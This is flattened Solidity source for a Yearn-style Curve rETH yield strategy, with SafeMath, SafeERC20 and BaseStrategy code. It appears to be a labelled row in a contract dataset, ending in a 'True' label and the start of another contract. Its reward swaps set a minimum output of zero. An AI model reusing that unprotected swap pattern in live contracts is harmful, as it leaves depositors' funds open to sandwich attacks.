}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: Uni
interface Uni {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint[] memory amounts);
}
// Part: WETH
interface WETH {
function deposit() external payable;
function withdraw(uint256 wad) external;
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.3.3";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external virtual view returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external virtual view returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public virtual view returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit - _loss`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
);
/**
* Perform any adjustments to the core position(s) of this Strategy given
* what change the Vault made in the "investable capital" available to the
* Strategy. Note that all "free capital" in the Strategy after the report
* was made is available for reinvestment. Also note that this number
* could be 0, and you should handle that scenario accordingly.
*
* See comments regarding `_debtOutstanding` on `prepareReturn()`.
*/
function adjustPosition(uint256 _debtOutstanding) internal virtual;
/**
* Liquidate up to `_amountNeeded` of `want` of this strategy's positions,
* irregardless of slippage. Any excess will be re-invested with `adjustPosition()`.
* This function should return the amount of `want` tokens made available by the
* liquidation. If there is a difference between them, `_loss` indicates whether the
* difference is due to a realized loss, or if there is some other sitution at play
* (e.g. locked funds) where the amount made available is less than what is needed.
* This function is used during emergency exit instead of `prepareReturn()` to
* liquidate all of the Strategy's positions back to the Vault.
*
* NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained
*/
function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss);
/**
* @notice
* Provide a signal to the keeper that `tend()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `tend()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `tend()` is not called
* shortly, then this can return `true` even if the keeper might be
* "at a loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `harvestTrigger()` should never return `true` at the same
* time.
* @param callCost The keeper's estimated cast cost to call `tend()`.
* @return `true` if `tend()` should be called, `false` otherwise.
*/
function tendTrigger(uint256 callCost) public virtual view returns (bool) {
// We usually don't need tend, but if there are positions that need
// active maintainence, overriding this function is how you would
// signal for that.
return false;
}
/**
* @notice
* Adjust the Strategy's position. The purpose of tending isn't to
* realize gains, but to maximize yield by reinvesting any returns.
*
* See comments on `adjustPosition()`.
*
* This may only be called by governance, the strategist, or the keeper.
*/
function tend() external onlyKeepers {
// Don't take profits with this call, but adjust for better gains
adjustPosition(vault.debtOutstanding());
}
/**
* @notice
* Provide a signal to the keeper that `harvest()` should be called. The
* keeper will provide the estimated gas cost that they would pay to call
* `harvest()`, and this function should use that estimate to make a
* determination if calling it is "worth it" for the keeper. This is not
* the only consideration into issuing this trigger, for example if the
* position would be negatively affected if `harvest()` is not called
* shortly, then this can return `true` even if the keeper might be "at a
* loss" (keepers are always reimbursed by Yearn).
* @dev
* `callCost` must be priced in terms of `want`.
*
* This call and `tendTrigger` should never return `true` at the
* same time.
*
* See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the
* strategist-controlled parameters that will influence whether this call
* returns `true` or not. These parameters will be used in conjunction
* with the parameters reported to the Vault (see `params`) to determine
* if calling `harvest()` is merited.
*
* It is expected that an external system will check `harvestTrigger()`.
* This could be a script run off a desktop or cloud bot (e.g.
* https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py),
* or via an integration with the Keep3r network (e.g.
* https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol).
* @param callCost The keeper's estimated cast cost to call `harvest()`.
* @return `true` if `harvest()` should be called, `false` otherwise.
*/
function harvestTrigger(uint256 callCost) public virtual view returns (bool) {
StrategyParams memory params = vault.strategies(address(this));
// Should not trigger if Strategy is not activated
if (params.activation == 0) return false;
// Should not trigger if we haven't waited long enough since previous harvest
if (block.timestamp.sub(params.lastReport) < minReportDelay) return false;
// Should trigger if hasn't been called in a while
if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true;
// If some amount is owed, pay it back
// NOTE: Since debt is based on deposits, it makes sense to guard against large
// changes to the value from triggering a harvest directly through user
// behavior. This should ensure reasonable resistance to manipulation
// from user-initiated withdrawals as the outstanding debt fluctuates.
uint256 outstanding = vault.debtOutstanding();
if (outstanding > debtThreshold) return true;
// Check for profits and losses
uint256 total = estimatedTotalAssets();
// Trigger if we have a loss to report
if (total.add(debtThreshold) < params.totalDebt) return true;
uint256 profit = 0;
if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit!
// Otherwise, only trigger if it "makes sense" economically (gas cost
// is <N% of value moved)
uint256 credit = vault.creditAvailable();
return (profitFactor.mul(callCost) < credit.add(profit));
}
/**
* @notice
* Harvests the Strategy, recognizing any profits or losses and adjusting
* the Strategy's position.
*
* In the rare case the Strategy is in emergency shutdown, this will exit
* the Strategy's position.
*
* This may only be called by governance, the strategist, or the keeper.
* @dev
* When `harvest()` is called, the Strategy reports to the Vault (via
* `vault.report()`), so in some cases `harvest()` must be called in order
* to take in profits, to borrow newly available funds from the Vault, or
* otherwise adjust its position. In other cases `harvest()` must be
* called to report to the Vault on the Strategy's position, especially if
* any losses have occurred.
*/
function harvest() external onlyKeepers {
uint256 profit = 0;
uint256 loss = 0;
uint256 debtOutstanding = vault.debtOutstanding();
uint256 debtPayment = 0;
if (emergencyExit) {
// Free up as much capital as possible
uint256 totalAssets = estimatedTotalAssets();
// NOTE: use the larger of total assets or debt outstanding to book losses properly
(debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding);
// NOTE: take up any remainder here as profit
if (debtPayment > debtOutstanding) {
profit = debtPayment.sub(debtOutstanding);
debtPayment = debtOutstanding;
}
} else {
// Free up returns for Vault to pull
(profit, loss, debtPayment) = prepareReturn(debtOutstanding);
}
// Allow Vault to take up to the "harvested" balance of this contract,
// which is the amount it has earned since the last time it reported to
// the Vault.
debtOutstanding = vault.report(profit, loss, debtPayment);
// Check if free returns are left, and re-invest them
adjustPosition(debtOutstanding);
emit Harvested(profit, loss, debtPayment, debtOutstanding);
}
/**
* @notice
* Withdraws `_amountNeeded` to `vault`.
*
* This may only be called by the Vault.
* @param _amountNeeded How much `want` to withdraw.
* @return _loss Any realized losses
*/
function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) {
require(msg.sender == address(vault), "!vault");
// Liquidate as much as possible to `want`, up to `_amountNeeded`
uint256 amountFreed;
(amountFreed, _loss) = liquidatePosition(_amountNeeded);
// Send it directly back (NOTE: Using `msg.sender` saves some gas here)
want.safeTransfer(msg.sender, amountFreed);
// NOTE: Reinvest anything leftover on next `tend`/`harvest`
}
/**
* Do anything necessary to prepare this Strategy for migration, such as
* transferring any reserve or LP tokens, CDPs, or other tokens or stores of
* value.
*/
function prepareMigration(address _newStrategy) internal virtual;
/**
* @notice
* Transfers all `want` from this Strategy to `_newStrategy`.
*
* This may only be called by governance or the Vault.
* @dev
* The new Strategy's Vault must be the same as this Strategy's Vault.
* @param _newStrategy The Strategy to migrate to.
*/
function migrate(address _newStrategy) external {
require(msg.sender == address(vault) || msg.sender == governance());
require(BaseStrategy(_newStrategy).vault() == vault);
prepareMigration(_newStrategy);
want.safeTransfer(_newStrategy, want.balanceOf(address(this)));
}
/**
* @notice
* Activates emergency exit. Once activated, the Strategy will exit its
* position upon the next harvest, depositing all funds into the Vault as
* quickly as is reasonable given on-chain conditions.
*
* This may only be called by governance or the strategist.
* @dev
* See `vault.setEmergencyShutdown()` and `harvest()` for further details.
*/
function setEmergencyExit() external onlyAuthorized {
emergencyExit = true;
vault.revokeStrategy();
emit EmergencyExitEnabled();
}
/**
* Override this to add all tokens/tokenized positions this contract
* manages on a *persistent* basis (e.g. not just for swapping back to
* want ephemerally).
*
* NOTE: Do *not* include `want`, already included in `sweep` below.
*
* Example:
*
* function protectedTokens() internal override view returns (address[] memory) {
* address[] memory protected = new address[](3);
* protected[0] = tokenA;
* protected[1] = tokenB;
* protected[2] = tokenC;
* return protected;
* }
*/
function protectedTokens() internal virtual view returns (address[] memory);
/**
* @notice
* Removes tokens from this Strategy that are not the type of tokens
* managed by this Strategy. This may be used in case of accidentally
* sending the wrong kind of token to this Strategy.
*
* Tokens will be sent to `governance()`.
*
* This will fail if an attempt is made to sweep `want`, or any tokens
* that are protected by this Strategy.
*
* This may only be called by governance.
* @dev
* Implement `protectedTokens()` to specify any additional tokens that
* should be protected from sweeping in addition to `want`.
* @param _token The token to transfer out of this vault.
*/
function sweep(address _token) external onlyGovernance {
require(_token != address(want), "!want");
require(_token != address(vault), "!shares");
address[] memory _protectedTokens = protectedTokens();
for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected");
IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this)));
}
}
// Part: CurveVoterProxy
abstract contract CurveVoterProxy is BaseStrategy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public constant voter = address(0xF147b8125d2ef93FB6965Db97D6746952a133934);
address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
address public constant uniswap = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public constant sushiswap = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
uint256 public constant DENOMINATOR = 10000;
address public proxy;
address public dex;
address public curve;
address public gauge;
uint256 public keepCRV;
constructor(address _vault) public BaseStrategy(_vault) {
minReportDelay = 6 hours;
maxReportDelay = 2 days;
profitFactor = 1;
debtThreshold = 1e24;
proxy = address(0xA420A63BbEFfbda3B147d0585F1852C358e2C152);
}
function setProxy(address _proxy) external onlyGovernance {
proxy = _proxy;
}
function setKeepCRV(uint256 _keepCRV) external onlyAuthorized {
keepCRV = _keepCRV;
}
function switchDex(bool isUniswap) external onlyAuthorized {
if (isUniswap) dex = uniswap;
else dex = sushiswap;
}
function name() external view override returns (string memory) {
return string(abi.encodePacked("Curve", IERC20Metadata(address(want)).symbol(), "VoterProxy"));
}
function balanceOfWant() public view returns (uint256) {
return want.balanceOf(address(this));
}
function balanceOfPool() public view returns (uint256) {
return IVoterProxy(proxy).balanceOf(gauge);
}
function estimatedTotalAssets() public view override returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function adjustPosition(uint256 _debtOutstanding) internal override {
uint256 _want = want.balanceOf(address(this));
if (_want > 0) {
want.safeTransfer(proxy, _want);
IVoterProxy(proxy).deposit(gauge, address(want));
}
}
function _withdrawSome(uint256 _amount) internal returns (uint256) {
_amount = Math.min(_amount, balanceOfPool());
return IVoterProxy(proxy).withdraw(gauge, address(want), _amount);
}
function liquidatePosition(uint256 _amountNeeded)
internal
override
returns (uint256 _liquidatedAmount, uint256 _loss)
{
uint256 _balance = want.balanceOf(address(this));
if (_balance < _amountNeeded) {
_liquidatedAmount = _withdrawSome(_amountNeeded.sub(_balance));
_liquidatedAmount = _liquidatedAmount.add(_balance);
_loss = _amountNeeded.sub(_liquidatedAmount); // this should be 0. o/w there must be an error
}
else {
_liquidatedAmount = _amountNeeded;
}
}
function prepareMigration(address _newStrategy) internal override {
IVoterProxy(proxy).withdrawAll(gauge, address(want));
}
function _adjustCRV(uint256 _crv) internal returns (uint256) {
uint256 _keepCRV = _crv.mul(keepCRV).div(DENOMINATOR);
IERC20(crv).safeTransfer(voter, _keepCRV);
return _crv.sub(_keepCRV);
}
}
// File: reth.sol
contract Strategy is CurveVoterProxy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public constant fis = address(0xef3A930e1FfFFAcd2fc13434aC81bD278B0ecC8d);
constructor(address _vault) public CurveVoterProxy(_vault) {
dex = sushiswap;
curve = address(0xF9440930043eb3997fc70e1339dBb11F341de7A8);
gauge = address(0x824F13f1a2F29cFEEa81154b46C0fc820677A637);
keepCRV = 1000;
}
receive() external payable {}
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
uint before = want.balanceOf(address(this));
IVoterProxy(proxy).harvest(gauge);
uint256 _crv = IERC20(crv).balanceOf(address(this));
if (_crv > 0) {
_crv = _adjustCRV(_crv);
IERC20(crv).safeApprove(dex, 0);
IERC20(crv).safeApprove(dex, _crv);
address[] memory path = new address[](2);
path[0] = crv;
path[1] = weth;
Uni(dex).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now);
}
IVoterProxy(proxy).claimRewards(gauge, fis);
uint256 _fis = IERC20(fis).balanceOf(address(this));
if (_fis > 0) {
IERC20(fis).safeApprove(uniswap, 0);
IERC20(fis).safeApprove(uniswap, _fis);
address[] memory path = new address[](2);
path[0] = fis;
path[1] = weth;
Uni(uniswap).swapExactTokensForTokens(_fis, uint256(0), path, address(this), now);
}
uint256 _weth = IERC20(weth).balanceOf(address(this));
if (_weth > 0) {
WETH(weth).withdraw(_weth);
_weth = address(this).balance;
ICurveFi(curve).add_liquidity{value: _weth}([_weth, 0], 0);
}
_profit = want.balanceOf(address(this)).sub(before);
uint _total = estimatedTotalAssets();
uint _debt = vault.strategies(address(this)).totalDebt;
if(_total < _debt) {
_loss = _debt - _total;
_profit = 0;
}
if (_debtOutstanding > 0) {
_withdrawSome(_debtOutstanding);
_debtPayment = Math.min(_debtOutstanding, balanceOfWant().sub(_profit));
}
}
// NOTE: Can override `tendTrigger` and `harvestTrigger` if necessary
function protectedTokens()
internal
view
override
returns (address[] memory)
{
address[] memory protected = new address[](1);
protected[0] = crv;
return protected;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-02-14
*/
// File: openzeppelin-solidity/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
